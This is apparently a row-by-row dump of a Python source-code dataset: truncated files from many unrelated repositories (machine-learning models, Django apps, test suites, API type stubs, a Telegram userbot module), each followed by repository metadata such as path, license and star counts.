import argparse import os import time import torch import torch.nn as nn import torch.nn.functional as F import dgl import dgl.function as fn from dataset import load_dataset class FeedForwardNet(nn.Module): def __init__(self, in_feats, hidden, out_feats, n_layers, dropout): super(FeedForwardNet, self).__...
35.743842
79
0.583517
5333e535975537eb844c8754d8768b494d04ad11
12,300
py
Python
ssd300_evaluate.py
konny0311/ssd_precision_comparison
f564995fddb440c5fc732bd448c0ceae78ba17f7
[ "Apache-2.0" ]
null
null
null
ssd300_evaluate.py
konny0311/ssd_precision_comparison
f564995fddb440c5fc732bd448c0ceae78ba17f7
[ "Apache-2.0" ]
13
2020-01-28T22:49:28.000Z
2022-02-10T00:20:24.000Z
ssd300_evaluate.py
konny0311/ssd_precision_comparison
f564995fddb440c5fc732bd448c0ceae78ba17f7
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # coding: utf-8 # # SSD Evaluation Tutorial # # This is a brief tutorial that explains how compute the average precisions for any trained SSD model using the `Evaluator` class. The `Evaluator` computes the average precisions according to the Pascal VOC pre-2010 or post-2010 detection evaluation ...
51.898734
899
0.678537
d9c18585097b3a28fe8fabb1c7a2dac6eeab0f2f
822
py
Python
bert-use/bert-use/setup.py
zhc0757/bert-api
189cbae4fbf080b443122a9c103c276759796174
[ "Apache-2.0" ]
1
2019-12-23T05:09:51.000Z
2019-12-23T05:09:51.000Z
bert-use/bert-use/setup.py
zhc0757/bert-api
189cbae4fbf080b443122a9c103c276759796174
[ "Apache-2.0" ]
null
null
null
bert-use/bert-use/setup.py
zhc0757/bert-api
189cbae4fbf080b443122a9c103c276759796174
[ "Apache-2.0" ]
null
null
null
from setuptools import setup, find_packages #reference from # http://xiaoh.me/2015/12/11/python-egg/ # https://blog.csdn.net/m0_38088359/article/details/83656872 def setupMain(): setup( name = "bert-api", version = "0.0.1", keywords = ("pip", "bert","api",'wrapper'), d...
30.444444
80
0.590024
8cc66711b7cc3e6b109ebf6d959bf5c17e2e67a4
329
py
Python
hashicorp_vault_client/hashicorp_vault_client/api/__init__.py
drewmullen/HAC
fb185804fd244366f8f8d01df22835b3d96e7512
[ "Apache-2.0" ]
null
null
null
hashicorp_vault_client/hashicorp_vault_client/api/__init__.py
drewmullen/HAC
fb185804fd244366f8f8d01df22835b3d96e7512
[ "Apache-2.0" ]
2
2019-09-30T20:56:41.000Z
2019-10-02T00:22:07.000Z
hashicorp_vault_client/hashicorp_vault_client/api/__init__.py
drewmullen/HAC
fb185804fd244366f8f8d01df22835b3d96e7512
[ "Apache-2.0" ]
null
null
null
from __future__ import absolute_import # flake8: noqa # import apis into api package from hashicorp_vault_client.api.auth_api import AuthApi from hashicorp_vault_client.api.identity_api import IdentityApi from hashicorp_vault_client.api.secrets_api import SecretsApi from hashicorp_vault_client.api.system_api import S...
32.9
63
0.87234
8d83494c531865036c83f779acf1815a6a04a3f1
72,788
py
Python
glance/tests/integration/legacy_functional/test_v1_api.py
kfwang/Glance-OVA-OVF
e983c3c79987e59d644917646edc6b0b7fd219d0
[ "Apache-2.0" ]
null
null
null
glance/tests/integration/legacy_functional/test_v1_api.py
kfwang/Glance-OVA-OVF
e983c3c79987e59d644917646edc6b0b7fd219d0
[ "Apache-2.0" ]
null
null
null
glance/tests/integration/legacy_functional/test_v1_api.py
kfwang/Glance-OVA-OVF
e983c3c79987e59d644917646edc6b0b7fd219d0
[ "Apache-2.0" ]
null
null
null
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # d...
42.025404
79
0.570795
474bd394553eb2582d01ca3713dc2d830ad39fb0
2,216
py
Python
labour/views/labour_admin_jobcategory_view.py
Siikakala/kompassi
14cdcd966ab689d762cc885e28b6d15465c216f0
[ "CC-BY-3.0" ]
null
null
null
labour/views/labour_admin_jobcategory_view.py
Siikakala/kompassi
14cdcd966ab689d762cc885e28b6d15465c216f0
[ "CC-BY-3.0" ]
null
null
null
labour/views/labour_admin_jobcategory_view.py
Siikakala/kompassi
14cdcd966ab689d762cc885e28b6d15465c216f0
[ "CC-BY-3.0" ]
null
null
null
# encoding: utf-8 from django.contrib import messages from django.shortcuts import get_object_or_404, render, redirect from django.utils.translation import ugettext_lazy as _ from django.views.decorators.http import require_http_methods from core.utils import initialize_form from ..proxies.job_category.management ...
37.559322
105
0.673736
bf094db285555e2b411e571ee5b98e24406273c3
4,868
py
Python
gymgeek/settings.py
bugulin/gymgeek-web
1def491392add2526fb0e8a53098d49ad2fdf983
[ "Apache-2.0" ]
null
null
null
gymgeek/settings.py
bugulin/gymgeek-web
1def491392add2526fb0e8a53098d49ad2fdf983
[ "Apache-2.0" ]
null
null
null
gymgeek/settings.py
bugulin/gymgeek-web
1def491392add2526fb0e8a53098d49ad2fdf983
[ "Apache-2.0" ]
null
null
null
""" Django settings for gymgeek project. Generated by 'django-admin startproject' using Django 1.11.2. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """ import os...
27.817143
110
0.732539
f93345c47dedce43d94188bd2ebc8b5bad9326f2
1,537
py
Python
Bing Search API/nkw/orton/comresults.py
brandeddavid/MSFT-Translation-API
185d43783ff190ed1b2df47d8d58537013bd3fb7
[ "MIT" ]
null
null
null
Bing Search API/nkw/orton/comresults.py
brandeddavid/MSFT-Translation-API
185d43783ff190ed1b2df47d8d58537013bd3fb7
[ "MIT" ]
null
null
null
Bing Search API/nkw/orton/comresults.py
brandeddavid/MSFT-Translation-API
185d43783ff190ed1b2df47d8d58537013bd3fb7
[ "MIT" ]
1
2019-05-16T09:55:08.000Z
2019-05-16T09:55:08.000Z
import requests, re, csv, os, sys from urllib import request from bs4 import BeautifulSoup urlList = [] generic = ['admin', 'frontdesk', 'hiring', 'enroll', 'careers', 'career', 'info', 'online', 'help', 'desk', 'career', 'job', 'inquire', 'contact', 'post', 'master', 'general', 'admission', 'admissions', 'advise', 'a...
24.396825
296
0.532856
d581fc2ac6fc8ce14b4f2454935eebc0f5c6df6c
8,741
py
Python
balancer/balancer.py
jawilk/balancer-exchange-python
e842a44b89a06da78edee2053dc80418b207ff41
[ "MIT" ]
6
2021-02-09T04:16:13.000Z
2022-01-03T00:40:39.000Z
balancer/balancer.py
jawilk/balancer-exchange-python
e842a44b89a06da78edee2053dc80418b207ff41
[ "MIT" ]
null
null
null
balancer/balancer.py
jawilk/balancer-exchange-python
e842a44b89a06da78edee2053dc80418b207ff41
[ "MIT" ]
1
2020-08-30T04:25:00.000Z
2020-08-30T04:25:00.000Z
import json from web3 import Web3 from utils import load_abi def initialize_tokens(tokens): all_tokens = [] for token in tokens: all_tokens.append(Token( contract_address = Web3.toChecksumAddress(token['address']), balance = token['balance'], decimals = token['dec...
32.615672
766
0.648438
ba9f53f7489f139751b709ae70f891094376ae67
1,686
py
Python
xlsxwriter/test/comparison/test_chart_errorbars10.py
hugovk/XlsxWriter
e97cc66637d9895480ee32cfb5e561d652d3787b
[ "BSD-2-Clause" ]
null
null
null
xlsxwriter/test/comparison/test_chart_errorbars10.py
hugovk/XlsxWriter
e97cc66637d9895480ee32cfb5e561d652d3787b
[ "BSD-2-Clause" ]
null
null
null
xlsxwriter/test/comparison/test_chart_errorbars10.py
hugovk/XlsxWriter
e97cc66637d9895480ee32cfb5e561d652d3787b
[ "BSD-2-Clause" ]
null
null
null
############################################################################### # # Tests for XlsxWriter. # # SPDX-License-Identifier: BSD-2-Clause # Copyright (c), 2013-2022, John McNamara, jmcnamara@cpan.org # from ..excel_comparison_test import ExcelComparisonTest from ...workbook import Workbook class TestCompar...
25.545455
79
0.511269
c176c0c0395349c4c245a1b808f4cfa08320eaa1
215
py
Python
src/brewlog/fermentation/utils.py
zgoda/brewlog
13a930b328f81d01a2be9aca07d3b14703b80faa
[ "BSD-3-Clause" ]
3
2019-03-11T04:30:06.000Z
2020-01-26T03:21:52.000Z
src/brewlog/fermentation/utils.py
zgoda/brewlog
13a930b328f81d01a2be9aca07d3b14703b80faa
[ "BSD-3-Clause" ]
23
2019-02-06T20:37:37.000Z
2020-06-01T07:08:35.000Z
src/brewlog/fermentation/utils.py
zgoda/brewlog
13a930b328f81d01a2be9aca07d3b14703b80faa
[ "BSD-3-Clause" ]
null
null
null
from ..ext import db def update_steps_gravity(step): if step.fg is not None: next_step = step.next_step() if next_step: next_step.og = step.fg db.session.add(next_step)
21.5
37
0.604651
21f2cbc2cbd633b1a8c08ea4f063935efdf97eb2
4,705
py
Python
luigi/tools/deps.py
huygn/luigi
bf7194091d9c934ca4e741033debe73ee693b29f
[ "Apache-2.0" ]
2
2016-08-22T22:52:47.000Z
2018-07-14T20:00:52.000Z
luigi/tools/deps.py
huygn/luigi
bf7194091d9c934ca4e741033debe73ee693b29f
[ "Apache-2.0" ]
5
2015-01-22T06:54:59.000Z
2021-01-13T23:09:09.000Z
luigi/tools/deps.py
huygn/luigi
bf7194091d9c934ca4e741033debe73ee693b29f
[ "Apache-2.0" ]
1
2021-11-01T15:11:20.000Z
2021-11-01T15:11:20.000Z
#!/usr/bin/env python # Finds all tasks and task outputs on the dependency paths from the given downstream task T # up to the given source/upstream task S (optional). If the upstream task is not given, # all upstream tasks on all dependancy paths of T will be returned. # Terms: # if the execution of Task T depends ...
35.37594
116
0.72051
876cba1efe01c56d23c7db737edce6be0c8ba4a4
5,762
py
Python
Assets/Python/Wonders.py
dguenms/Dawn-of-Civilization
1c4f510af97a869637cddb4c0859759158cea5ce
[ "MIT" ]
93
2015-11-20T04:13:36.000Z
2022-03-24T00:03:08.000Z
Assets/Python/Wonders.py
dguenms/Dawn-of-Civilization
1c4f510af97a869637cddb4c0859759158cea5ce
[ "MIT" ]
206
2015-11-09T00:27:15.000Z
2021-12-04T19:05:18.000Z
Assets/Python/Wonders.py
dguenms/Dawn-of-Civilization
1c4f510af97a869637cddb4c0859759158cea5ce
[ "MIT" ]
117
2015-11-08T02:43:46.000Z
2022-02-12T06:29:00.000Z
from Core import * from RFCUtils import * from Events import handler @handler("cityAcquired") def escorialAcquiredCity(iOwner, iPlayer, city): escorialEffect(iPlayer, city) @handler("cityBuilt") def escorialFoundedCity(city): escorialEffect(city.getOwner(), city) def escorialEffect(iPlayer, city): if player(...
38.671141
150
0.787747
5a67114cc87f2c1de34fa7e4d03aa4cf2e6ac743
4,614
py
Python
userbot/modules/snips.py
notudope/Lynx-Userbot
cbefc6e90b3042004314341b7be3b332f2515f3b
[ "PostgreSQL" ]
1
2021-09-13T06:04:27.000Z
2021-09-13T06:04:27.000Z
userbot/modules/snips.py
notudope/Lynx-Userbot
cbefc6e90b3042004314341b7be3b332f2515f3b
[ "PostgreSQL" ]
30
2022-01-13T22:29:07.000Z
2022-03-31T22:29:59.000Z
userbot/modules/snips.py
notudope/Lynx-Userbot
cbefc6e90b3042004314341b7be3b332f2515f3b
[ "PostgreSQL" ]
1
2022-01-10T09:24:19.000Z
2022-01-10T09:24:19.000Z
# Copyright (C) 2019 The Raphielscape Company LLC. # # Licensed under the Raphielscape Public License, Version 1.d (the "License"); # you may not use this file except in compliance with the License. """ Userbot module containing commands for keeping global notes. """ from userbot.events import register from userbot im...
35.492308
106
0.606415
46a5d58ae4a8804cf3d8a776950517b331f84fd1
159,807
py
Python
boto3_type_annotations_with_docs/boto3_type_annotations/machinelearning/client.py
cowboygneox/boto3_type_annotations
450dce1de4e066b939de7eac2ec560ed1a7ddaa2
[ "MIT" ]
119
2018-12-01T18:20:57.000Z
2022-02-02T10:31:29.000Z
boto3_type_annotations_with_docs/boto3_type_annotations/machinelearning/client.py
cowboygneox/boto3_type_annotations
450dce1de4e066b939de7eac2ec560ed1a7ddaa2
[ "MIT" ]
15
2018-11-16T00:16:44.000Z
2021-11-13T03:44:18.000Z
boto3_type_annotations_with_docs/boto3_type_annotations/machinelearning/client.py
cowboygneox/boto3_type_annotations
450dce1de4e066b939de7eac2ec560ed1a7ddaa2
[ "MIT" ]
11
2019-05-06T05:26:51.000Z
2021-09-28T15:27:59.000Z
from typing import Optional from botocore.client import BaseClient from typing import Dict from botocore.paginate import Paginator from botocore.waiter import Waiter from typing import Union from typing import List class Client(BaseClient): def add_tags(self, Tags: List, ResourceId: str, ResourceType: str) -> Dic...
69.180519
2,268
0.601651
5a90f3689f6e6afeb739ef85f9dba3f9098fa2f6
3,636
py
Python
Phase_4/ds-clustering_kvo32-main/src/k_means_plotter.py
VaneezaAhmad/ds-east-042621-lectures
334f98bb4bd4f8020055e95994764b1587a809c0
[ "MIT" ]
1
2021-08-12T21:48:21.000Z
2021-08-12T21:48:21.000Z
Phase_4/ds-clustering_kvo32-main/src/k_means_plotter.py
VaneezaAhmad/ds-east-042621-lectures
334f98bb4bd4f8020055e95994764b1587a809c0
[ "MIT" ]
null
null
null
Phase_4/ds-clustering_kvo32-main/src/k_means_plotter.py
VaneezaAhmad/ds-east-042621-lectures
334f98bb4bd4f8020055e95994764b1587a809c0
[ "MIT" ]
20
2021-04-27T19:27:58.000Z
2021-06-16T15:08:50.000Z
def k_means(X, Y, k=2): """This function will calculate and plot k-means clusters for two-dimensional data input as X and Y""" from matplotlib import pyplot as plt import random import numpy as np import pandas as pd fig, ax = plt.subplots(1, 5, figsize = (15, 3)) ax[0].set_title('the d...
31.894737
106
0.55033
a4f6f54c3ace898914053146339372793c9e15e8
2,498
py
Python
.venv/lib/python2.7/site-packages/gitdb/db/git.py
aruneli/rancher-tests
f0ff5539420ac354fc951ed239b002cecde52505
[ "Apache-2.0" ]
null
null
null
.venv/lib/python2.7/site-packages/gitdb/db/git.py
aruneli/rancher-tests
f0ff5539420ac354fc951ed239b002cecde52505
[ "Apache-2.0" ]
null
null
null
.venv/lib/python2.7/site-packages/gitdb/db/git.py
aruneli/rancher-tests
f0ff5539420ac354fc951ed239b002cecde52505
[ "Apache-2.0" ]
null
null
null
# Copyright (C) 2010, 2011 Sebastian Thiel (byronimo@gmail.com) and contributors # # This module is part of GitDB and is released under # the New BSD License: http://www.opensource.org/licenses/bsd-license.php from gitdb.db.base import ( CompoundDB, ObjectDBW, FileDBBase ) from gitdb.db.loose import LooseO...
30.463415
114
0.609287
ffa0d5a6d88efef870e72dd4d3f1dd6571fc1f04
4,803
py
Python
chat-plugin/chat/hooks.py
lyoung83/chat
b21a3255db6c825a22a4ef02642fb9c3cb72d9c3
[ "Apache-2.0" ]
17
2016-04-09T09:54:43.000Z
2021-06-29T04:59:54.000Z
chat-plugin/chat/hooks.py
lyoung83/chat
b21a3255db6c825a22a4ef02642fb9c3cb72d9c3
[ "Apache-2.0" ]
210
2016-01-27T09:57:29.000Z
2020-10-29T17:19:44.000Z
chat-plugin/chat/hooks.py
lyoung83/chat
b21a3255db6c825a22a4ef02642fb9c3cb72d9c3
[ "Apache-2.0" ]
21
2016-06-22T11:48:56.000Z
2019-01-07T17:08:45.000Z
# Copyright 2017 Oursky Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
42.504425
77
0.679367
12644818103b1b01403384ab7aa73f765b7be920
1,615
py
Python
VBYO-2017/kodlar/YuksekBasarimliHesaplama/Theano/theano_0.py
metinuslu/VeriBilimiYazOkullari
474c4481a779532fb667874a44bcb03f8852e8e0
[ "MIT" ]
3
2020-02-17T19:17:56.000Z
2021-09-03T10:38:32.000Z
VBYO-2017/kodlar/YuksekBasarimliHesaplama/Theano/theano_0.py
gokhangemici/VeriBilimiYazOkullari
474c4481a779532fb667874a44bcb03f8852e8e0
[ "MIT" ]
null
null
null
VBYO-2017/kodlar/YuksekBasarimliHesaplama/Theano/theano_0.py
gokhangemici/VeriBilimiYazOkullari
474c4481a779532fb667874a44bcb03f8852e8e0
[ "MIT" ]
3
2019-12-07T01:11:03.000Z
2021-09-03T10:38:35.000Z
import numpy import theano.tensor as T from theano import function from theano import pp #In Theano, all symbols must be typed. #In particular, T.dscalar is the type we assign to 0-dimensional arrays (scalar) of doubles (d) #It is a Theano Type. x = T.dscalar('x') #try the same with matrix y = T.dscalar('y') print '-'...
27.844828
122
0.657585
9a7c53c7c3d063c8f4d76f87cd0de9f0ca94c98d
399
py
Python
eHealth_Version1.0_01_13_2022_12_47_pm_Release/BUS/BUS_ECGPatient.py
kyvipro113/Graduation_Thesis
71e9e3aa2adf64cff7319d056592f8b6ef1fd5ec
[ "MIT" ]
null
null
null
eHealth_Version1.0_01_13_2022_12_47_pm_Release/BUS/BUS_ECGPatient.py
kyvipro113/Graduation_Thesis
71e9e3aa2adf64cff7319d056592f8b6ef1fd5ec
[ "MIT" ]
null
null
null
eHealth_Version1.0_01_13_2022_12_47_pm_Release/BUS/BUS_ECGPatient.py
kyvipro113/Graduation_Thesis
71e9e3aa2adf64cff7319d056592f8b6ef1fd5ec
[ "MIT" ]
null
null
null
from DAL.DAL_ECGPatient import DAL_ECGPatient class BUS_ECGPatient(): def __init__(self): self.dalECGPatient = DAL_ECGPatient() def firstLoadLinkECG(self, IDPatient): return self.dalECGPatient.selectLinkECGViaIDPatient(IDPatient=IDPatient) def loadLinkECG(self, IDPatient, ECGType): ...
36.272727
85
0.766917
ef1d6f7654a23f708ab56760f21d86993e8d24bc
510
py
Python
awslambda_lookup/exceptions.py
ITProKyle/runway-hook-awslambda
a346465277049b004c7f3c0feb759f152369eb21
[ "Apache-2.0" ]
1
2021-09-09T14:59:53.000Z
2021-09-09T14:59:53.000Z
awslambda_lookup/exceptions.py
ITProKyle/runway-hook-awslambda
a346465277049b004c7f3c0feb759f152369eb21
[ "Apache-2.0" ]
68
2021-07-26T15:58:22.000Z
2022-01-10T13:09:25.000Z
awslambda_lookup/exceptions.py
ITProKyle/runway-hook-awslambda
a346465277049b004c7f3c0feb759f152369eb21
[ "Apache-2.0" ]
null
null
null
"""High-level exceptions.""" from __future__ import annotations from runway.cfngin.exceptions import CfnginError class CfnginOnlyLookupError(CfnginError): """Attempted to use a CFNgin lookup outside of CFNgin.""" lookup_name: str def __init__(self, lookup_name: str) -> None: """Instantiate clas...
26.842105
82
0.670588
ea89c8b519a2feaa9c4af22e0c08dbd043b6ee19
12,697
py
Python
layers/Optimizernp.py
wahyutirta/CNN-numpy
d66e10a53304a0c72c40f278486866493f573d5e
[ "MIT" ]
3
2021-05-20T09:22:37.000Z
2021-07-16T07:04:43.000Z
layers/Optimizernp.py
wahyutirta/cnn-numpy
d66e10a53304a0c72c40f278486866493f573d5e
[ "MIT" ]
null
null
null
layers/Optimizernp.py
wahyutirta/cnn-numpy
d66e10a53304a0c72c40f278486866493f573d5e
[ "MIT" ]
null
null
null
import numpy as np #Adagrad Optimizer class Optimizer_Adagrad: """ Dokumentasi input : output : """ # Initialize optimizer - set settings def __init__(self, learning_rate=1., decay=0., epsilon=1e-7): # params # learning_rate = fixed learning ra...
34.691257
124
0.558951
fc9d5206cc8597b16d4e4677f1852298a20b1e8f
4,746
py
Python
lakesuperior/globals.py
whikloj/lakesuperior
733ac54e9525dcb7c3161bc70f04415e81650c06
[ "Apache-2.0" ]
null
null
null
lakesuperior/globals.py
whikloj/lakesuperior
733ac54e9525dcb7c3161bc70f04415e81650c06
[ "Apache-2.0" ]
null
null
null
lakesuperior/globals.py
whikloj/lakesuperior
733ac54e9525dcb7c3161bc70f04415e81650c06
[ "Apache-2.0" ]
null
null
null
import logging from collections import deque from importlib import import_module from os import path from lakesuperior.dictionaries.namespaces import ns_collection as nsc RES_CREATED = '_create_' """A resource was created.""" RES_DELETED = '_delete_' """A resource was deleted.""" RES_UPDATED = '_update_' """A resour...
29.296296
82
0.638643
a03b55c646a0c96e008a7f8985001d2c46c365b8
4,037
py
Python
main/api/v1/resource.py
gae-init/gae-init-upload
314c151b438a02724f7925f5be1af3b5ec93630d
[ "MIT" ]
23
2015-01-13T19:26:04.000Z
2019-12-21T06:23:20.000Z
main/api/v1/resource.py
gae-init/gae-init-upload
314c151b438a02724f7925f5be1af3b5ec93630d
[ "MIT" ]
8
2015-02-07T15:56:04.000Z
2019-07-17T19:28:00.000Z
main/api/v1/resource.py
gae-init/gae-init-upload
314c151b438a02724f7925f5be1af3b5ec93630d
[ "MIT" ]
18
2015-03-13T19:33:04.000Z
2019-06-27T04:31:44.000Z
# coding: utf-8 from __future__ import absolute_import from google.appengine.api import images from google.appengine.ext import blobstore from google.appengine.ext import ndb import flask import flask_restful import werkzeug from api import helpers import auth import config import model import util from main import...
30.816794
79
0.66163
9fc3f5f8f145d4f85410a649dbc467dc621f2b1b
444
py
Python
scripts/zManager/items/bones.py
jonntd/maya-ziva-dynamics-utils
8cc29941da49004c45beb4e9c673dd4334a8d773
[ "MIT" ]
null
null
null
scripts/zManager/items/bones.py
jonntd/maya-ziva-dynamics-utils
8cc29941da49004c45beb4e9c673dd4334a8d773
[ "MIT" ]
null
null
null
scripts/zManager/items/bones.py
jonntd/maya-ziva-dynamics-utils
8cc29941da49004c45beb4e9c673dd4334a8d773
[ "MIT" ]
1
2019-06-10T08:14:46.000Z
2019-06-10T08:14:46.000Z
from maya import cmds from . import base, mesh class BonesItem(base.LabelItem): def __init__(self, parent, solver): super(BonesItem, self).__init__(parent, text="bones") self.setExpanded(False) # get bones meshes = cmds.zQuery(solver, mesh=True, type="zBone") meshes.sort()...
24.666667
61
0.603604
0468f66891d821e09e4ace525b13945a19ed9a59
656
py
Python
fsindex/test/tests/Path/level2_path_duplicate.py
jakeogh/fsindex
1b090089e32685f205841d9b1f9ec7365698257a
[ "MIT" ]
null
null
null
fsindex/test/tests/Path/level2_path_duplicate.py
jakeogh/fsindex
1b090089e32685f205841d9b1f9ec7365698257a
[ "MIT" ]
null
null
null
fsindex/test/tests/Path/level2_path_duplicate.py
jakeogh/fsindex
1b090089e32685f205841d9b1f9ec7365698257a
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 from fsindex.test.test_enviroment import * with self_contained_session(CONFIG.database_timestamp) as session: BASE.metadata.create_all(session.bind) path = Path.construct(session=session, path=b"/level1/level2") session.add(path) session.commit() path_duplicate = Path.const...
29.818182
76
0.713415
76b614764a55402dd85429e161ee13f1d9c70e0b
2,609
py
Python
entrypoint.py
algorithmiaio/build-wait-action
b9a3dddd00cda265df65e84a71a4cb32272db270
[ "MIT" ]
null
null
null
entrypoint.py
algorithmiaio/build-wait-action
b9a3dddd00cda265df65e84a71a4cb32272db270
[ "MIT" ]
null
null
null
entrypoint.py
algorithmiaio/build-wait-action
b9a3dddd00cda265df65e84a71a4cb32272db270
[ "MIT" ]
1
2021-03-31T23:24:23.000Z
2021-03-31T23:24:23.000Z
#!/usr/bin/python import Algorithmia import os import requests import time class BearerAuth(requests.auth.AuthBase): def __init__(self, token): self.token = token def __call__(self, r): r.headers["authorization"] = "Simple " + self.token return r # TODO: Make sure this works even wh...
35.739726
104
0.627827
13000025a2cdb33c5bd1d009cf2b903d747c540d
13,131
py
Python
code/run_model.py
evgenyneu/covid19
cecc164c5200eb788ffbe7f6a138d0f98eb4c3bd
[ "Unlicense" ]
1
2020-11-21T18:08:53.000Z
2020-11-21T18:08:53.000Z
code/run_model.py
evgenyneu/covid19
cecc164c5200eb788ffbe7f6a138d0f98eb4c3bd
[ "Unlicense" ]
null
null
null
code/run_model.py
evgenyneu/covid19
cecc164c5200eb788ffbe7f6a138d0f98eb4c3bd
[ "Unlicense" ]
null
null
null
# Modelling spread of infectious desease using logisic growth model import os import shutil from shutil import copyfile from pathlib import Path import requests import numpy as np import pandas as pd from scipy import stats import seaborn as sns from pandas.plotting import register_matplotlib_converters from datetime ...
26.852761
78
0.651359
2324ae8c3788d9064e8bc08d8a878ad68decf84d
941
py
Python
networkx-d3-v2/lib/gdata/Crypto/__init__.py
suraj-testing2/Clock_Websites
0e65331da40cfd3766f1bde17f0a9c7ff6666dea
[ "Apache-2.0" ]
2,293
2015-01-02T12:46:10.000Z
2022-03-29T09:45:43.000Z
networkx-d3-v2/lib/gdata/Crypto/__init__.py
suraj-testing2/Clock_Websites
0e65331da40cfd3766f1bde17f0a9c7ff6666dea
[ "Apache-2.0" ]
315
2015-05-31T11:55:46.000Z
2022-01-12T08:36:37.000Z
networkx-d3-v2/lib/gdata/Crypto/__init__.py
suraj-testing2/Clock_Websites
0e65331da40cfd3766f1bde17f0a9c7ff6666dea
[ "Apache-2.0" ]
1,033
2015-01-04T07:48:40.000Z
2022-03-24T09:34:37.000Z
"""Python Cryptography Toolkit A collection of cryptographic modules implementing various algorithms and protocols. Subpackages: Crypto.Cipher Secret-key encryption algorithms (AES, DES, ARC4) Crypto.Hash Hashing algorithms (MD5, SHA, HMAC) Crypto.Protocol Cryptographic protocols ...
36.192308
78
0.621679
d62174e29c99372f410874e8502e9c0488f735dd
7,090
py
Python
trafficrecognition.py
udaykumarjangra/algorithms
6fbd945af1f5372689122ab9373126d2f401abd4
[ "MIT" ]
2
2020-10-28T15:02:41.000Z
2021-10-02T13:18:24.000Z
trafficrecognition.py
udaykumarjangra/algorithms
6fbd945af1f5372689122ab9373126d2f401abd4
[ "MIT" ]
4
2020-10-07T05:59:13.000Z
2021-10-02T08:01:27.000Z
trafficrecognition.py
udaykumarjangra/algorithms
6fbd945af1f5372689122ab9373126d2f401abd4
[ "MIT" ]
51
2020-10-01T03:07:30.000Z
2021-10-05T16:25:22.000Z
import tkinter as tk from tkinter import filedialog from tkinter import * from PIL import ImageTk, Image import numpy #To classify sign load the trained model. from keras.models import load_model model = load_model('traffic_classifier.h5') #dictionary for labelling all traffic signs classes. classes = { 1:'Speed limi...
31.936937
116
0.643441
257d6e8b6dddc92559077ec2d4fad19a4351c294
1,314
py
Python
4_Tran_Thi_Nhu_Huong_LOCAL/bai3.3.py
lpython2006e/exercies
84343eae57d86708a7984aa02f77183a4688a508
[ "MIT" ]
null
null
null
4_Tran_Thi_Nhu_Huong_LOCAL/bai3.3.py
lpython2006e/exercies
84343eae57d86708a7984aa02f77183a4688a508
[ "MIT" ]
null
null
null
4_Tran_Thi_Nhu_Huong_LOCAL/bai3.3.py
lpython2006e/exercies
84343eae57d86708a7984aa02f77183a4688a508
[ "MIT" ]
8
2020-07-10T14:13:54.000Z
2020-08-03T08:17:50.000Z
"""Write a program that allow user to enter classmate (name, Birthday, Email), validate if enter values are valid format (limit length apply), else ask user to enter again per field""" from datetime import datetime import re # todo: naming convention: length (120 max),first-last-middle(opt) def _check_valid_name(a): ...
28.565217
105
0.677321
917957697d138e37a2e13fcd57b339d433885591
2,135
py
Python
z2/part3/updated_part2_batch/jm/parser_errors_2/252921490.py
kozakusek/ipp-2020-testy
09aa008fa53d159672cc7cbf969a6b237e15a7b8
[ "MIT" ]
1
2020-04-16T12:13:47.000Z
2020-04-16T12:13:47.000Z
z2/part3/updated_part2_batch/jm/parser_errors_2/252921490.py
kozakusek/ipp-2020-testy
09aa008fa53d159672cc7cbf969a6b237e15a7b8
[ "MIT" ]
18
2020-03-06T17:50:15.000Z
2020-05-19T14:58:30.000Z
z2/part3/updated_part2_batch/jm/parser_errors_2/252921490.py
kozakusek/ipp-2020-testy
09aa008fa53d159672cc7cbf969a6b237e15a7b8
[ "MIT" ]
18
2020-03-06T17:45:13.000Z
2020-06-09T19:18:31.000Z
from part1 import ( gamma_board, gamma_busy_fields, gamma_delete, gamma_free_fields, gamma_golden_move, gamma_golden_possible, gamma_move, gamma_new, ) """ scenario: test_random_actions uuid: 252921490 """ """ random actions, total chaos """ board = gamma_new(3, 4, 2, 3) assert board is...
30.070423
43
0.673536
d036625c2d5b44dc65d21ef2bbdceca962371f80
7,552
py
Python
backend/service/payments.py
deti/boss
bc0cfe3067bf1cbf26789f7443a36e7cdd2ac869
[ "Apache-2.0" ]
7
2018-05-20T08:56:08.000Z
2022-03-11T15:50:54.000Z
backend/service/payments.py
deti/boss
bc0cfe3067bf1cbf26789f7443a36e7cdd2ac869
[ "Apache-2.0" ]
2
2021-06-08T21:12:51.000Z
2022-01-13T01:25:27.000Z
backend/service/payments.py
deti/boss
bc0cfe3067bf1cbf26789f7443a36e7cdd2ac869
[ "Apache-2.0" ]
5
2016-10-09T14:52:09.000Z
2020-12-25T01:04:35.000Z
import conf import json import logbook import requests import posixpath from arrow import utcnow from decimal import Decimal from urllib.parse import urljoin from requests.auth import HTTPBasicAuth from utils.i18n import preferred_language, _ from model import db, MessageTemplate from task.mail import send_email from ...
48.722581
123
0.568591
771656148a034efe4e7ee82f3eba07ebce235c9a
393
py
Python
techtest/techtest/wsgi.py
rahulkannojia07/gaming-store-adyen
4c81bd78dce88f244a4e56784914c3cc4359b669
[ "MIT" ]
null
null
null
techtest/techtest/wsgi.py
rahulkannojia07/gaming-store-adyen
4c81bd78dce88f244a4e56784914c3cc4359b669
[ "MIT" ]
null
null
null
techtest/techtest/wsgi.py
rahulkannojia07/gaming-store-adyen
4c81bd78dce88f244a4e56784914c3cc4359b669
[ "MIT" ]
null
null
null
""" WSGI config for techtest project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETT...
23.117647
78
0.78626
8373e6817b5c343661b1d5bb04e5352363060394
1,090
py
Python
editor/attributes/player/player_attribute_dk_style.py
PeterC10/COFPES-OF-Editor-6
0a9c9b75fada8264634bdc968c9da209c44b29e2
[ "MIT" ]
1
2022-03-11T12:25:57.000Z
2022-03-11T12:25:57.000Z
editor/attributes/player/player_attribute_dk_style.py
PeterC10/COFPES-OF-Editor-6
0a9c9b75fada8264634bdc968c9da209c44b29e2
[ "MIT" ]
null
null
null
